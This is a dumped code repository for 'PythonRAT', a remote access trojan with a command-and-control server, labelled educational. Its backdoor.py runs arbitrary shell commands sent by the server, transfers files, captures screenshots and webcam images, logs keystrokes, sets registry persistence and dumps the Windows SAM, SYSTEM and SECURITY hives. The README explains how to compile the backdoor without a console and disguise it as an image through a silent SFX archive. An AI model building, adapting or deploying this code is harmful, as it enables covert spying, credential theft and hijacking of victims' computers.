├── .gitignore ├── LICENSE ├── README.md ├── client ├── backdoor.py ├── keylogger.py └── requirements.txt ├── server ├── c2.py └── colour.py └── sfx-resources ├── gibraltar.jpg ├── gibraltar128x128.ico └── malware128x128.ico /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | .DS_Store 3 | CHANGELOG.md 4 | client/__pycache__/* 5 | server/__pycache__/* 6 | server/certs 7 | images/* 8 | screenshots -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Zepher Ashe 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PythonRAT 2 | 3 | PythonRAT is a Command and Control (C2) server which can control multiple machines running the Remote Administration Trojan (RAT) forming a botnet cluster which was written in Python3. 4 | 5 | PythonRAT was developed for **educational** purposes and continues to be developed as such! 6 | 7 |

8 | PythonRAT Banner 9 |

10 | 11 | 12 | # Features 13 | 14 | - Integrated keylogger written as a class 15 | - Can be started and stopped remotely 16 | - With options to _dump_ or _overwrite_ the log file 17 | - Check privilege level (Administrator/User) 18 | - Spawn other programs 19 | - Download files from target 20 | - Download files from specified URL 21 | - Upload files to target 22 | - C2 allows control of multiple target sessions 23 | - Issue a _sendall *command*_ to every active session 24 | - Persistence by creating a registry entry (Windows) 25 | - Conceals infection by writing files in AppData (Windows) 26 | 27 | - Screenshot of the target's screen which is sent to server 28 | - Webcam capture 29 | - Remote shutdown of the backdoor _(executable is NOT safely removed)_ 30 | 31 | 32 | # Table of Contents 33 | - [Usage Manuals](#usage-manuals) 34 | - [C2 Manual](#c2-manual) 35 | - [Session Manual](#session-manual) 36 | - [Dependencies](#dependencies) 37 | - [Wine and Pyinstaller (Win version) Installation on Linux](#wine-and-pyinstaller-win-version-installation-on-linux) 38 | - [Environment Setup](#environment-setup) 39 | - [Installing Dependencies](#installing-dependencies) 40 | - [Backdoor Compilation and Obfuscation for Windows](#backdoor-compilation-and-obfuscation-for-windows) 41 | - [Compile to Executable using Pyinstaller Linux](#compile-to-executable-using-pyinstaller-linux) 42 | - [Compile to Executable using Pyinstaller (Win) under Wine](#compile-to-executable-using-pyinstaller-win-under-wine) 43 | - [Obfuscation using SFX Archive (Theory)](#obfuscation-using-sfx-archive-theory) 44 | - [Creating SFX Archive](#creating-sfx-archive) 45 | - [Creating SFX Archive - Visual](#creating-sfx-archive---visual) 46 | - [Task Manager](#task-manager) 47 | - [Preview Images](#preview-images) 48 | - [Target Connection to C2 Server](#target-connection-to-c2-server) 49 | - [Interacting with Session](#interacting-with-session) 50 | - [Test Commands on Target](#test-commands-on-target) 51 | - [Session Options](#session-options) 52 | - [Backgrounding and Killing Session](#backgrounding-and-killing-session) 53 | 54 | # Usage Manuals 55 | ## C2 Manual 56 | 57 | targets --> Prints Active Sessions 58 | session *session num* --> Will Connect To Session (background to return) 59 | clear --> Clear Terminal Screen 60 | exit --> Quit ALL Active Sessions and Closes C2 Server!! 61 | kill *session num* --> Issue 'quit' To Specified Target Session 62 | sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad) 63 | 64 | 65 | 66 | ## Session Manual 67 | 68 | quit --> Quit Session With The Target 69 | clear --> Clear The Screen 70 | background / bg --> Send Session With Target To Background 71 | cd *Directory name* --> Changes Directory On Target System 72 | upload *file name* --> Upload File To The Target Machine From Working Dir 73 | download *file name* --> Download File From Target Machine 74 | get *url* --> Download File From Specified URL to Target ./ 75 | keylog_start --> Start The Keylogger 76 | keylog_dump --> Print Keystrokes That The Target From taskmanager.txt 77 | keylog_stop --> Stop And Self Destruct Keylogger File 78 | screenshot --> Takes screenshot and sends to server ./images/screenshots/ 79 | webcam --> Takes image with webcam and sends to ./images/webcam/ 80 | start *programName* --> Spawn Program Using backdoor e.g. 'start notepad' 81 | remove_backdoor --> Removes backdoor from target!!! 82 | 83 | ===Windows Only=== 84 | persistence *RegName* *filename* --> Create Persistence In Registry 85 | copies backdoor to ~/AppData/Roaming/filename 86 | example: persistence Backdoor windows32.exe 87 | check --> Check If Has Administrator Privileges 88 | 89 | # Dependencies 90 | 91 | The C2 server has no _external dependencies_ as of _v0.9.2-alpha_. 92 | 93 | The backdoor relies on the following as of v0.10.1-alpha: 94 | 95 | pip install mss \ 96 | pynput \ 97 | requests 98 | 99 | - **MSS** is required for the `screenshot()` function. 100 | - **Pynput** is required for the `Keylogger` class. 101 | - **Requests** is required for the `download_url()` function. 102 | 103 | 104 | The below mentioned steps are for compiling the backdoor for deployment. 105 | For those wishing to test the C2 server and backdoor interaction see [issue 1](https://github.com/safesploit/PythonRAT/issues/1#issuecomment-1210378473). 106 | 107 | # Wine and Pyinstaller (Win version) Installation on Linux 108 | 109 | 110 | Python 2.7.14 Releases: https://www.python.org/downloads/release/python-2714/ 111 | 112 | ## Environment Setup 113 | 114 | ┌──(root💀kali)-[~/] 115 | 116 | └─# 117 | 118 | sudo su 119 | dpkg --add-architecture i386 120 | apt update 121 | apt install wine32 122 | wget https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi 123 | sudo wine msiexec -i ~/python-2.7.14.msi #x86 arch 124 | 125 | 126 | ## Installing Dependencies 127 | 128 | ┌──(root💀kali)-[~] 129 | 130 | └─# 131 | 132 | cd /root/.wine/drive_c/Python27 133 | wine python.exe -m pip install pyinstaller \ 134 | requests \ 135 | mss \ 136 | pynput 137 | 138 | 139 | # Backdoor Compilation and Obfuscation for Windows 140 | 141 | ## Compile to Executable using Pyinstaller Linux 142 | 143 | $ pyinstaller --onefile --noconsole backdoor.py 144 | 145 | or, 146 | 147 | ## Compile to Executable using Pyinstaller (Win) under Wine 148 | 149 | ┌──(root💀kali)-[~] 150 | 151 | └─# 152 | 153 | wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole ~/backdoor.py 154 | 155 | **alternatively** if an _icon_ has already been created, 156 | 157 | wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --icon ~/malware_128x128.ico ~/backdoor.py 158 | 159 | This will produce _./dist/backdoor.exe_ 160 | 161 | 162 | ## Obfuscation using SFX Archive (Theory) 163 | 164 | The executable _backdoor.exe_ will be made to look like an image (jpg) file. 165 | By default, Windows does not show file extensions (e.g. backdoor.exe will show in Windows Explorer as backdoor). 166 | Hence, we will create an SFX archive name _wallpaper.jpg.exe_ which Windows Explorer will show as _wallpaper.jpg_. 167 | 168 | This will involve having an _image_ which we will also create an icon version of _.ico_ to assign the SFX archive. 169 | Making the executable appear to be an image. 170 | 171 | Of course, this same method could be applied to audio, document or video file using an appropriate icon. 172 | 173 | ### NOTE: SFX Archive 174 | 175 | SFX archive is not the only method of obfuscating the executable. 176 | We can when compiling using _Pyinstaller_ add the argument _--add-data "/root/wallpaper.jpg;."_ with 177 | _--icon ~/wallpaper.ico_. 178 | 179 | ┌──(root💀kali)-[~] 180 | 181 | └─# 182 | 183 | wine /root/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile --noconsole --add-data "/root/wallpaper.jpg;." --icon ~/malware_128x128.ico ~/backdoor.py 184 | mv ./dist/_backdoor.exe_ ./dist/_wallpaper.jpg.exe_ 185 | 186 | 187 | ## Creating SFX Archive 188 | 189 | WinRAR > Add To Archive (image.jpg and backdoor.exe) 190 | 191 | Rename archive to: _image.jpg.exe_ 192 | 193 | 194 | -Add to SFX Archive (Y) and Advanced> 195 | 196 | **Setup>Run after extraction** 197 | 198 | California-HD-Background.jpg 199 | backdoor.exe 200 | 201 | **Modes** 202 | Unpack to temporary folder 203 | Silent mode 204 | Hide all 205 | 206 | **Update** 207 | Update mode> 208 | Extract and update files 209 | Overwrite mode> 210 | Overwrite all files 211 | 212 | **Text and icon** 213 | Load SFX icon from the file (image ICO) 214 | 215 | 216 | 217 | ## Creating SFX Archive - Visual 218 | 219 | https://user-images.githubusercontent.com/10171446/153578069-851d3896-67d0-465b-ad92-267ad21504ee.mp4 220 | 221 | 222 | This will produce an SFX archive which looks like an image 223 | 224 | While inspecting the file will reveal it is an executable the file extension _.exe_ is concealed. 225 | Furthermore, if viewed from the Desktop the file cannot be differentiated from a 'real' image. 226 | 227 | ![image8](https://user-images.githubusercontent.com/10171446/153618884-601e9a7f-9bda-4fd5-a5a0-9808053160c5.PNG) 228 | 229 | 230 | 231 | Once opened the SFX archive will open the image file inside the archive and the malware will execute after. 232 | 233 | Due to _--noconsole_ argument in _Pyinstaller_, no window will be rendered. 234 | 235 | 236 | ## Task Manager 237 | 238 | The _backdoor.exe_ process can be seen in Task Manager and ended there if necessary. 239 | 240 | # Preview Images 241 | 242 | ## Target Connection to C2 Server 243 | 244 | ![Screenshot_2022-02-10_06-16-22](https://user-images.githubusercontent.com/10171446/153403206-4ce3dc23-4c1a-41b6-a715-2e2021d965ce.png) 245 | 246 | 247 | ## Interacting with Session 248 | 249 | ![Screenshot_2022-02-10_06-17-20](https://user-images.githubusercontent.com/10171446/153403283-3df77fd8-2cbe-4990-b82f-d847bdde3bee.png) 250 | 251 | 252 | ## Test Commands on Target 253 | 254 | ![Screenshot_2022-02-10_06-22-48](https://user-images.githubusercontent.com/10171446/153403427-058ebe8a-36d8-465c-8386-7a55cea1641b.png) 255 | 256 | 257 | ## Session Options 258 | 259 | ![Screenshot_2022-02-10_06-23-21](https://user-images.githubusercontent.com/10171446/153403579-3b090b00-2dec-4c33-a94d-020eb2b0d2b4.png) 260 | 261 | 262 | ## Backgrounding and Killing Session 263 | 264 | ![Screenshot_2022-02-10_06-25-04](https://user-images.githubusercontent.com/10171446/153403973-d9757c68-4ca2-405f-ae13-a0ca0666bfcc.png) 265 | 266 | -------------------------------------------------------------------------------- /client/backdoor.py: -------------------------------------------------------------------------------- 1 | # Standard library imports 2 | import ctypes 3 | import cv2 4 | import json 5 | import os 6 | import shutil 7 | import socket 8 | import ssl 9 | import subprocess 10 | import sys 11 | import threading 12 | import time 13 | from sys import platform 14 | 15 | # Related third party imports 16 | import requests 17 | from mss import mss 18 | 19 | # Local application/library specific imports 20 | import keylogger 21 | # from mss import mss # mss v6.1.0 22 | # import requests # v2.28.0 23 | 24 | 25 | def reliable_send(data): 26 | jsondata = json.dumps(data) 27 | s.send(jsondata.encode()) 28 | 29 | 30 | def reliable_recv(): 31 | data = '' 32 | while True: 33 | try: 34 | data = data + s.recv(1024).decode().rstrip() 35 | return json.loads(data) 36 | except ValueError: 37 | continue 38 | 39 | 40 | def download_file(file_name): 41 | f = open(file_name, 'wb') 42 | s.settimeout(2) 43 | chunk = s.recv(1024) 44 | while chunk: 45 | f.write(chunk) 46 | try: 47 | chunk = s.recv(1024) 48 | except socket.timeout as e: 49 | break 50 | s.settimeout(None) 51 | f.close() 52 | 53 | 54 | def upload_file(file_name): 55 | f = open(file_name, 'rb') 56 | s.send(f.read()) 57 | f.close() 58 | 59 | 60 | def download_url(url): 61 | get_response = requests.get(url) 62 | file_name = url.split('/')[-1] 63 | with open(file_name, 'wb') as out_file: 64 | out_file.write(get_response.content) 65 | 66 | 67 | def screenshot(): 68 | if platform == "win32" or platform == "darwin": 69 | with mss() as screen: 70 | filename = screen.shot() 71 | os.rename(filename, '.screen.png') 72 | elif platform == "linux" or platform == "linux2": 73 | with mss(display=":0.0") as screen: 74 | filename = screen.shot() 75 | os.rename(filename, '.screen.png') 76 | 77 | # TODO: screenshot other monitors 78 | 79 | 80 | # TODO: SAM - this code is untested 81 | def get_sam_dump(): 82 | if not is_admin(): 83 | return "You must run this function as an Administrator." 84 | 85 | SAM = r'C:\Windows\System32\config\SAM' 86 | SYSTEM = r'C:\Windows\System32\config\SYSTEM' 87 | SECURITY = r'C:\Windows\System32\config\SECURITY' 88 | 89 | try: 90 | sam_file = open(SAM, 'rb') 91 | system_file = open(SYSTEM, 'rb') 92 | security_file = open(SECURITY, 'rb') 93 | 94 | sam_data = sam_file.read() 95 | system_data = system_file.read() 96 | security_data = security_file.read() 97 | 98 | sam_file.close() 99 | system_file.close() 100 | security_file.close() 101 | 102 | return sam_data, system_data, security_data 103 | except PermissionError: 104 | return "Insufficient permissions to access SAM, SYSTEM, or SECURITY files." 105 | except FileNotFoundError: 106 | return "SAM, SYSTEM, or SECURITY file not found. Please check the file paths." 107 | except Exception as e: 108 | return f"An unexpected error occurred: {str(e)}" 109 | 110 | 111 | 112 | def capture_webcam(): 113 | webcam = cv2.VideoCapture(0) 114 | webcam.set(cv2.CAP_PROP_EXPOSURE, 40) 115 | 116 | # Check if the webcam is available 117 | if not webcam.isOpened(): 118 | print("No webcam available") 119 | return 120 | 121 | ret, frame = webcam.read() 122 | 123 | # Check if the webcam was able to capture a frame 124 | if not ret: 125 | print("Failed to read frame from webcam") 126 | return 127 | 128 | webcam.release() 129 | 130 | # Save the frame to a file 131 | if platform == "win32" or platform == "darwin" or platform == "linux" or platform == "linux2": 132 | is_success, im_buf_arr = cv2.imencode(".webcam.png", frame) 133 | if is_success: 134 | with open('.webcam.png', 'wb') as f: 135 | f.write(im_buf_arr.tobytes()) 136 | else: 137 | print("Failed to save webcam image") 138 | 139 | 140 | # TODO rename from persist to `reg_persist` 141 | def persist(reg_name, copy_name): 142 | file_location = os.environ['appdata'] + '\\' + copy_name 143 | try: 144 | if not os.path.exists(file_location): 145 | shutil.copyfile(sys.executable, file_location) 146 | subprocess.call( 147 | 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"', 148 | shell=True) 149 | reliable_send('[+] Created Persistence With Reg Key: ' + reg_name) 150 | else: 151 | reliable_send('[+] Persistence Already Exists') 152 | except: 153 | reliable_send('[-] Error Creating Persistence With The Target Machine') 154 | 155 | 156 | def startup_persist(file_name): 157 | pass 158 | # TODO create persistence in startup folder 159 | 160 | 161 | def is_admin(): 162 | global admin 163 | if platform == 'win32': 164 | try: 165 | temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'), 'temp'])) 166 | except: 167 | admin = '[!!] User Privileges!' 168 | else: 169 | admin = '[+] Administrator Privileges!' 170 | elif platform == "linux" or platform == "linux2" or platform == "darwin": 171 | pass 172 | # TODO implmenet checking if these platforms have root/admin access 173 | 174 | 175 | # TODO: more elegant but relibles on an additional library 176 | # def is_admin(): 177 | # try: 178 | # return ctypes.windll.shell32.IsUserAnAdmin() 179 | # except: 180 | # return False 181 | 182 | 183 | # def is_admin(): 184 | # global admin 185 | # if platform == 'win32': 186 | # try: 187 | # temp = os.listdir(os.sep.join([os.environ.get('SystemRoot', 'C:\windows'), 'temp'])) 188 | # except: 189 | # admin = False 190 | # else: 191 | # admin = True 192 | # elif platform == "linux" or platform == "linux2" or platform == "darwin": 193 | # os.open('/etc/hosts', os.O_RDONLY) 194 | # admin = True 195 | # # TODO implmenet checking if these platforms have root/admin access 196 | # return admin 197 | 198 | 199 | # def admin_string(is_admin): 200 | # if(is_admin): 201 | # return '[+] Administrator Privileges!' 202 | # else: 203 | # return '[!!] User Privileges!' 204 | 205 | 206 | # TODO get_chrome_passwords() 207 | 208 | # TODO get_chrome_cookies() 209 | 210 | # TODO encrypt_user_dir() ransomware element 211 | # TODO def encrypt_file_in_dir(file_name, key) 212 | # TODO def gen_key() 213 | # TODO def send_key(file_name, key) 214 | 215 | def shell(): 216 | while True: 217 | command = reliable_recv() 218 | if command == 'quit': 219 | break 220 | elif command == 'background' or command == 'bg': # BEGIN 221 | pass 222 | elif command == 'help': # ideally to be removed 223 | pass 224 | elif command == 'clear': 225 | pass # END 226 | elif command[:3] == 'cd ': 227 | os.chdir(command[3:]) 228 | # try: 229 | # os.chdir(command[3:]) 230 | # reliable_send('[+] Changed working dir to ' + os.getcwd()) 231 | # except Exception as e: 232 | # reliable_send('[-] ' + str(e)) 233 | elif command[:6] == 'upload': 234 | download_file(command[7:]) 235 | elif command[:8] == 'download': 236 | upload_file(command[9:]) 237 | elif command[:3] == 'get': 238 | try: 239 | download_url(command[4:]) 240 | reliable_send('[+] Downloaded File From Specified URL!') 241 | except: 242 | reliable_send('[!!] Download Failed!') 243 | elif command[:10] == 'screenshot': 244 | screenshot() 245 | upload_file('.screen.png') 246 | os.remove('.screen.png') 247 | elif command[:6] == 'webcam': 248 | capture_webcam() 249 | upload_file('.webcam.png') 250 | os.remove('.webcam.png') 251 | elif command[:12] == 'keylog_start': 252 | keylog = keylogger.Keylogger() 253 | t = threading.Thread(target=keylog.start) 254 | t.start() 255 | reliable_send('[+] Keylogger Started!') 256 | elif command[:11] == 'keylog_dump': 257 | logs = keylog.read_logs() 258 | reliable_send(logs) 259 | elif command[:11] == 'keylog_stop': 260 | keylog.self_destruct() 261 | t.join() 262 | reliable_send('[+] Keylogger Stopped!') 263 | elif command[:11] == 'persistence': 264 | reg_name, copy_name = command[12:].split(' ') 265 | persist(reg_name, copy_name) 266 | elif command[:7] == 'sendall': 267 | subprocess.Popen(command[8:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, 268 | stdin=subprocess.PIPE) 269 | elif command[:5] == 'check': 270 | try: 271 | is_admin() 272 | reliable_send(admin + ' platform: ' + platform) 273 | except: 274 | reliable_send('Cannot Perform Privilege Check! Platform: ' + platform) 275 | elif command[:5] == 'start': 276 | try: 277 | subprocess.Popen(command[6:], shell=True) 278 | reliable_send('[+] Started!') 279 | except: 280 | reliable_send('[-] Failed to start!') 281 | # TODO: This code is untested! 282 | elif command[:12] == 'get_sam_dump': 283 | sam_dump, system_dump, security_dump = get_sam_dump() 284 | reliable_send((sam_dump, system_dump, security_dump)) 285 | else: 286 | execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, 287 | stdin=subprocess.PIPE) 288 | result = execute.stdout.read() + execute.stderr.read() 289 | result = result.decode() 290 | reliable_send(result) 291 | 292 | 293 | def connection(): 294 | while True: 295 | time.sleep(1) 296 | try: 297 | s.connect(('127.0.0.1', 5555)) 298 | # if platform == 'win32': #TO BE DONE 299 | # persist('Backdoor', 'windows32.exe') 300 | shell() 301 | s.close() 302 | break 303 | except: 304 | connection() 305 | 306 | 307 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 308 | connection() 309 | -------------------------------------------------------------------------------- /client/keylogger.py: -------------------------------------------------------------------------------- 1 | #Possibly requires Python3.7 2 | import os 3 | import time 4 | import threading 5 | from sys import platform 6 | 7 | # External dependencies 8 | from pynput.keyboard import Listener 9 | 10 | # Local dependencies 11 | # from pynput.keyboard import Listener #v1.7.6 12 | 13 | class Keylogger(): 14 | keys = [] 15 | count = 0 16 | flag = 0 17 | if platform == 'win32': 18 | path = os.environ['appdata'] +'\\processmanager.txt' 19 | #Windows path #cmd.exe> type AppData\Roaming\processmanager.txt 20 | #(Windows also supports >more command) 21 | elif platform == "linux" or platform == "linux2" or platform == "darwin": 22 | path = 'processmanager.txt' 23 | 24 | def on_press(self, key): 25 | self.keys.append(key) 26 | self.count += 1 27 | 28 | if self.count >= 1: 29 | self.count = 0 30 | self.write_file(self.keys) 31 | self.keys = [] 32 | 33 | def read_logs(self): 34 | with open(self.path, 'rt') as f: 35 | return f.read() 36 | 37 | # def write_file(self, keys): 38 | # with open(self.path, 'a') as f: 39 | # for key in keys: 40 | # k = str(key).replace("'", "") 41 | # if k.find('backspace') > 0: 42 | # f.write(' [BACKSPACE] ') 43 | # elif k.find('enter') > 0: 44 | # f.write('\n') 45 | # # elif k.find('control') > 0: #doesn't currently work 46 | # # f.write(' [CTRL] ') 47 | # elif k.find('shift') > 0: 48 | # f.write(' [SHIFT] ') 49 | # elif k.find('space') > 0: 50 | # f.write(' ') 51 | # elif k.find('caps_lock') > 0: 52 | # f.write(' [CAPS_LOCK] ') 53 | # elif k.find('Key'): 54 | # f.write(k) 55 | def write_file(self, keys): 56 | with open(self.path, 'a') as f: 57 | for key in keys: 58 | k = str(key).replace("'", "") 59 | if k.find('backspace') > 0: 60 | f.write(' [BACKSPACE] ') 61 | elif k.find('enter') > 0: 62 | f.write('\n') 63 | elif k.find('shift') > 0: 64 | f.write(' [SHIFT] ') 65 | elif k.find('space') > 0: 66 | f.write(' ') 67 | elif k.find('caps_lock') > 0: 68 | f.write(' [CAPS_LOCK] ') 69 | elif k.find('ctrl') > 0: 70 | f.write(' [CTRL] ') 71 | elif k.find('alt') > 0: 72 | f.write(' [ALT] ') 73 | elif k.find('tab') > 0: 74 | f.write(' [TAB] ') 75 | elif k.find('left') > 0: 76 | f.write(' [LEFT_ARROW] ') 77 | elif k.find('right') > 0: 78 | f.write(' [RIGHT_ARROW] ') 79 | elif k.find('up') > 0: 80 | f.write(' [UP_ARROW] ') 81 | elif k.find('down') > 0: 82 | f.write(' [DOWN_ARROW] ') 83 | elif k.find('Key'): 84 | f.write(' [OTHER_KEY: ' + k + '] ') 85 | else: 86 | f.write(k) 87 | 88 | 89 | def self_destruct(self): 90 | self.flag = 1 91 | listener.stop() 92 | #self.overwrite_file(self.path) 93 | os.remove(self.path) 94 | 95 | def overwrite_file(self): 96 | print('keylog file path: ' + self.path) #to test this is calling correctly 97 | with open(self.path, 'w') as f: 98 | f.write('\n') 99 | #This section should overwrite the keylog file 100 | 101 | def start(self): 102 | global listener 103 | with Listener(on_press=self.on_press) as listener: 104 | listener.join() 105 | 106 | if __name__ == '__main__': 107 | keylog = Keylogger() 108 | t = threading.Thread(target=keylog.start) 109 | t.start() 110 | while keylog.flag != 1: 111 | time.sleep(10) 112 | logs = keylog.read_logs() 113 | print(logs) 114 | #keylog.self_destruct() 115 | t.join() 116 | -------------------------------------------------------------------------------- /client/requirements.txt: -------------------------------------------------------------------------------- 1 | # Generated using Pipreqs 2 | # https://pypi.org/project/pipreqs/ 3 | 4 | # pip install pipreqs 5 | # pipreqs /path/to/project 6 | 7 | opencv-python==1.25.1 8 | PyAutoGUI==0.9.53 9 | pynput==1.7.6 10 | requests==2.28.0 11 | -------------------------------------------------------------------------------- /server/c2.py: -------------------------------------------------------------------------------- 1 | # Standard library imports 2 | import json 3 | import hashlib 4 | import os 5 | import socket 6 | import ssl 7 | import sys 8 | import time 9 | import threading 10 | 11 | # Local application/library specific imports 12 | from colour import banner, Colour 13 | 14 | # Global Variables 15 | global start_flag 16 | 17 | # Constants 18 | SCREENSHOT_DIR = 'images/screenshots' 19 | SCREENSHOT_CHUNK_SIZE = 10485760 # 10MB 20 | SCREENSHOT_TIMEOUT = 3 21 | 22 | WEBCAM_DIR = './images/webcam' 23 | WEBCAM_CHUNK_SIZE = 10485760 # 10MB 24 | WEBCAM_TIMEOUT = 10 25 | 26 | 27 | def reliable_recv(target): 28 | data = '' 29 | while True: 30 | try: 31 | data += target.recv(1024).decode().rstrip() 32 | return json.loads(data) 33 | except ValueError: 34 | # If received data is not a complete JSON, continue receiving. 35 | continue 36 | except socket.error as e: 37 | print(f"Socket error: {e}") 38 | return None 39 | except Exception as e: 40 | # Handle any other exceptions that may occur. 41 | print(f"Unexpected error: {e}") 42 | return None 43 | 44 | 45 | def reliable_send(target, data): 46 | jsondata = json.dumps(data) 47 | while True: 48 | try: 49 | target.send(jsondata.encode()) 50 | break 51 | except BrokenPipeError: 52 | # print("Connection to target lost.") 53 | break 54 | except Exception as e: 55 | print(f"An unexpected error occurred: {e}") 56 | break 57 | 58 | 59 | # This function is to stop server.py issuing reliable_send if command='help' or 'clear' 60 | # Creates less network traffic. 61 | def exclusion_words(command): 62 | exclusion_words = ['help', 'clear'] # consider making this a global constant 63 | return any(word in command for word in exclusion_words) 64 | 65 | 66 | def upload_file(target, file_name): 67 | try: 68 | f = open(file_name, 'rb') 69 | data = f.read() 70 | f.close() 71 | except FileNotFoundError: 72 | print(f"The file {file_name} does not exist.") 73 | return 74 | except IOError as e: 75 | print(f"Error reading from {file_name}: {e}") 76 | return 77 | 78 | try: 79 | target.send(data) 80 | except socket.error as e: 81 | print(f"Error sending data: {e}") 82 | return 83 | 84 | print(f"File {file_name} uploaded successfully.") 85 | 86 | 87 | def download_file(target, file_name): 88 | try: 89 | f = open(file_name, 'wb') 90 | except IOError as e: 91 | print(f"Error opening file {file_name} for writing: {e}") 92 | return 93 | 94 | target.settimeout(2) 95 | chunk = None 96 | 97 | try: 98 | while True: 99 | try: 100 | if chunk is not None: 101 | f.write(chunk) 102 | chunk = target.recv(1024) 103 | except socket.timeout: 104 | break # Exit the loop if a timeout occurs 105 | except socket.error as e: 106 | print(f"Error receiving data: {e}") 107 | finally: 108 | f.close() 109 | 110 | target.settimeout(None) 111 | 112 | print(f"File {file_name} downloaded successfully.") 113 | 114 | 115 | def validate_checksum(checksum1, checksum2): 116 | if checksum1 == checksum2: 117 | return True 118 | else: 119 | return False 120 | 121 | 122 | def calculate_sha256_checksum(file_name): 123 | """ 124 | Calculate the SHA-256 checksum of a file. 125 | Args: 126 | file_name (str): The name of the file to check. 127 | Returns: 128 | str: The SHA-256 checksum of the file. 129 | """ 130 | sha256_hash = hashlib.sha256() 131 | with open(file_name,"rb") as f: 132 | for byte_block in iter(lambda: f.read(4096),b""): 133 | sha256_hash.update(byte_block) 134 | return sha256_hash.hexdigest() 135 | 136 | 137 | def calculate_md5_checksum(file_name): 138 | """ 139 | Calculate the MD5 checksum of a file. 140 | Args: 141 | file_name (str): The name of the file to check. 142 | Returns: 143 | str: The MD5 checksum of the file. 144 | """ 145 | md5_hash = hashlib.md5() 146 | with open(file_name,"rb") as f: 147 | for byte_block in iter(lambda: f.read(4096),b""): 148 | md5_hash.update(byte_block) 149 | return md5_hash.hexdigest() 150 | 151 | 152 | # TODO: Write a function for checksum validation on client-side. 153 | 154 | 155 | def screenshot(target, count): 156 | """ 157 | Take a screenshot and save it to a file. 158 | Args: 159 | target (socket): The target socket to instruct. 160 | count (int): The current screenshot count. 161 | """ 162 | # Ensure the screenshots directory exists. 163 | os.makedirs(SCREENSHOT_DIR, exist_ok=True) 164 | 165 | file_name = f'{SCREENSHOT_DIR}/screenshot_{count}.png' 166 | try: 167 | f = open(file_name, 'wb') 168 | except IOError as e: 169 | print(f"Error opening file {file_name} for writing: {e}") 170 | return count 171 | 172 | # Receive the screenshot data. 173 | target.settimeout(SCREENSHOT_TIMEOUT) 174 | chunk = None 175 | try: 176 | while True: 177 | try: 178 | if chunk is not None: 179 | f.write(chunk) 180 | chunk = target.recv(SCREENSHOT_CHUNK_SIZE) 181 | except socket.timeout: 182 | break # Exit the loop if a timeout occurs 183 | except socket.error as e: 184 | print(f"Error receiving data: {e}") 185 | finally: 186 | f.close() 187 | 188 | target.settimeout(None) 189 | print(f"Screenshot saved to {file_name}") 190 | 191 | count += 1 192 | return count 193 | 194 | 195 | def webcam(target, count): 196 | """ 197 | Capture a webcam image and save it to a file. 198 | Args: 199 | target (socket): The target socket to instruct. 200 | count (int): The current image count. 201 | """ 202 | # Ensure the webcam images directory exists. 203 | os.makedirs(WEBCAM_DIR, exist_ok=True) 204 | 205 | # Open the file for writing. 206 | file_name = f'{WEBCAM_DIR}/webcam_pic_{count}.jpg' 207 | try: 208 | f = open(file_name, 'wb') 209 | except IOError as e: 210 | print(f"Error opening file {file_name} for writing: {e}") 211 | return count 212 | 213 | # Receive the image data. 214 | target.settimeout(WEBCAM_TIMEOUT) 215 | chunk = None 216 | try: 217 | while True: 218 | try: 219 | if chunk is not None: 220 | f.write(chunk) 221 | chunk = target.recv(WEBCAM_CHUNK_SIZE) 222 | except socket.timeout: 223 | break # Exit the loop if a timeout occurs 224 | except socket.error as e: 225 | print(f"Error receiving data: {e}") 226 | finally: 227 | f.close() 228 | 229 | target.settimeout(None) 230 | print(f"Webcam image saved to {file_name}") 231 | 232 | return count + 1 233 | 234 | # TODO: webcam(target) takes a quick webcam image 235 | # https://stackoverflow.com/a/69282582/4443012 236 | 237 | # TODO: encrypt() 238 | # TODO: decrypt() functions using RSA library AES128-GCM 239 | 240 | # TODO: use Flask to create a frontend UI in the web browser to manage C2 https://github.com/Tomiwa-Ot/moukthar 241 | 242 | 243 | def server_help_manual(): 244 | print('''\n 245 | quit --> Quit Session With The Target 246 | clear --> Clear The Screen 247 | background / bg --> Send Session With Target To Background 248 | cd *Directory name* --> Changes Directory On Target System 249 | upload *file name* --> Upload File To The Target Machine From Working Dir 250 | download *file name* --> Download File From Target Machine 251 | get *url* --> Download File From Specified URL to Target ./ 252 | keylog_start --> Start The Keylogger 253 | keylog_dump --> Print Keystrokes That The Target From taskmanager.txt 254 | keylog_stop --> Stop And Self Destruct Keylogger File 255 | screenshot --> Takes screenshot and sends to server ./images/screenshots/ 256 | webcam --> Takes image with webcam and sends to ./images/webcam/ 257 | start *programName* --> Spawn Program Using backdoor e.g. 'start notepad' 258 | remove_backdoor --> Removes backdoor from target!!! 259 | 260 | ===Windows Only=== 261 | persistence 